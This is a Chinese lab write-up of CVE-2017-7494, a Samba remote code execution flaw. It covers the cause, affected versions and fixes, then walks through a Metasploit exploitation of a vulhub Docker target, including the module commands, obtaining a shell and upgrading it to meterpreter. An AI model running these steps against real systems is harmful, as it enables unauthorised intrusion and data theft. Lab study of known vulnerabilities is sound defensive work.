CVE-2017-7494 是一个影响 Samba 服务的高危远程代码执行漏洞,也被称为 "Linux 版永恒之蓝"

一、漏洞介绍

基本信息

属性

内容

CVE 编号

CVE-2017-7494

发现时间

2017年5月24日

严重程度

高危(Critical)

影响组件

Samba 文件共享服务

攻击向量

网络远程攻击

影响版本

该漏洞影响 Samba 3.5.0 及之后的所有版本,直到以下修复版本:

  • Samba 4.6.4 之前的 4.6.x 版本

  • Samba 4.5.10 之前的 4.5.x 版本

  • Samba 4.4.14 之前的 4.4.x 版本

漏洞原理

漏洞存在于 source3/rpc_server/srv_pipe.c 文件中的 is_known_pipename() 函数

  1. 命名管道验证缺陷:Samba 允许客户端连接远程命名管道,连接前会调用 is_known_pipename() 验证管道名称

  2. 路径遍历问题:该函数未对管道名称中的特殊字符(如 /)进行过滤

  3. 恶意模块加载:攻击者可以构造包含路径的管道名称,使 Samba 从任意路径加载动态链接库(.so 文件)

利用条件

要成功利用此漏洞,需要满足以下条件

  1. 端口开放:目标系统开放 SMB 文件/打印机共享端口 445

  2. 写入权限:攻击者对共享文件夹拥有写入权限(如匿名可写配置)

  3. 路径知晓:攻击者需要知道共享目录的物理路径

修复方案

1. 升级 Samba(推荐)

升级到安全版本:

  • 4.6.4 或更高版本

  • 4.5.10 或更高版本

  • 4.4.14 或更高版本

2. 临时缓解措施

禁用命名管道支持

smb.conf 中添加:

nt pipe support = no
  • 启用 SELinux:配置 SELinux 阻止从非标准目录加载模块

  • 使用 noexec 挂载:对 Samba 共享目录使用 noexec 选项挂载,阻止执行上传的文件

  • 限制访问:通过防火墙限制 445 端口的访问,禁止匿名写入权限

二、完整复现

1.准备工作

攻击机:192.168.68.128(kalilinux)

目标靶机:192.168.68.134(ubuntu+docker)

来源:https://github.com/vulhub/vulhub/blob/master/samba/CVE-2017-7494

布置靶场:

先在ubuntu上进入把上面链接中的CVE-2017-7494文件夹下载到ubuntu,然后进入CVE-2017-7494文件夹中,执行

sudo docker-compose up -d

2.msf复现

1.启动msf,kali终端输入 : msfconsole

2.search

search cve-2017-7494
CVE-2017-7494-1.png

3.使用模块

use exploit/linux/samba/is_known_pipename

4.查看需要设置什么参数

show options
CVE-2017-7494-2.png

可以看到我们只需要设置rhosts (目标靶机的ip)和rport,rport已经给我们设置好了,所以我们就只设置rhost即可

5.配置参数

set RHOSTS 192.168.68.134

6.运行

执行 run 看到session opened代表我们已经成功和目标靶机建立连接,session后面的数字是我们当前的会话id

CVE-2017-7494-3.png

这里我们就可以执行命令了,可以看到我执行了id和查看敏感文件的命令

三、拓展

相信大家也发现了,这次是直接就进入了目标靶机的shell,而不是meterpreter,这是由于当我们执行

 use exploit/linux/samba/is_known_pipename

的时候,它显示我们没有指定payload,所以默认使用了cmd/unix/interact这个payload,这个漏洞模块不支持reverse_tcp的payload,我们可以查看当前漏洞模块支持哪些payload

show payloads
CVE-2017-7494-4.png

显示只支持这个payload,不过这并不代表我们不能切换成meterpreter

shell-->meterpreter

在我们执行run,使用cmd/unix/interact把基础的shell建立之后

1.把当前基础 shell 挂到后台

按下ctrl+Z,然后问我们是否把当前会话挂后台默认是no,我们按y(yes)

2.查看当前会话数

这里我第一个基础shell运行了好几下,只要其中一个就可以,我使用id为7的session

sessions

3.加载模块

 use post/multi/manage/shell_to_meterpreter

4.查看需要配置的

show options

5.设置参数

set LPORT 9999
set SESSION 7

这里handler已经默认启用,我们可以不用在设置里,lport不要和其他端口冲突,session后面是我们第一个基础shell的session的id

6.运行

输入 run 即可发现已经是meterpreter了

CVE-2017-7494-6.png

接下来我们就可以使用meterpreter的命令来上传下载文件,创建文件夹,停止系统的进程,打开摄像头等进阶操作了